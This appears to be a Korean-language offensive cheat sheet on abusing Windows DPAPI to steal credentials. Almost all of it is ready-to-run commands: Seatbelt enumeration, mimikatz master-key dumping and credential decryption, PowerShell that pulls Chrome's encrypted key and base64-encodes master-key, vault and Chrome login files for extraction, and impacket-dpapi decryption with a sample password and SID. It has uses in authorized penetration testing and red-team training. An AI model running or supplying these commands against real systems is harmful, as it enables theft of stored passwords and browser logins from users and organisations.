DPAPI
Abuse
References
Last updated
Last updated
# 크리덴셜 열거
.\Seatbelt.exe WindowsCredentialFiles
# 마스터키 덤프
mimikatz # sekurlsa::dpapi
# 획득한 마스터키를 통해 DPAPI 복호화
mimikatz # dpapi::cred /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A7D1003DF0C547F74DDB9D9D4340F2C" /masterkey:c1751582b34777735b5bb64e4d7e3cd3f9f70ada4ea16f378603f194397c15d5dfac3ae7f93829645aa26e2bdb73b204c97915b8b71dd9cb4fe54d815ff65c31# DPAPI로 암호화된 AES 키 추출
$jsonText = Get-Content -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" -Raw -Encoding UTF8;$jsonText = $jsonText.TrimStart([char]0xFEFF);$data = $jsonText | ConvertFrom-Json;$encryptedKeyBase64 = $data.os_crypt.encrypted_key;Write-Output $encryptedKeyBase64
# 추출한 키를 통해 Chrome에 저장된 자격 증명 덤핑
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:[Base64 Encoded Key] /unprotect# 마스터키 덤프
$SID = (whoami /user).Split()[64];Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect\$SID\*"
[Convert]::ToBase64String((Get-Content <File name> -Encoding Byte)) | Out-String
# Vaults 덤프
Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials\*"
[Convert]::ToBase64String((Get-Content <File name> -Encoding Byte)) | Out-String
# Chrome vaults 덤프
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
[Convert]::ToBase64String((Get-Content <File name> -Encoding Byte)) | Out-String
# 평문 패스워드와 SID를 이용하여 마스터키 복호화
impacket-dpapi masterkey -file masterkey.key -password 'Password123!' -sid 'S-1-5-21-2835490888-2107562977-246861531-500' -key 'x'
# vaults 정보 복호화
impacket-dpapi credential -file vault -key '0x875145fbf81cfc081fe405929d5c5ccd280e97d0682f660960d69c4bd947d58babdf811a32525b1e41fd043883bb181f27bcfb345e163f1338f1a681565345a5'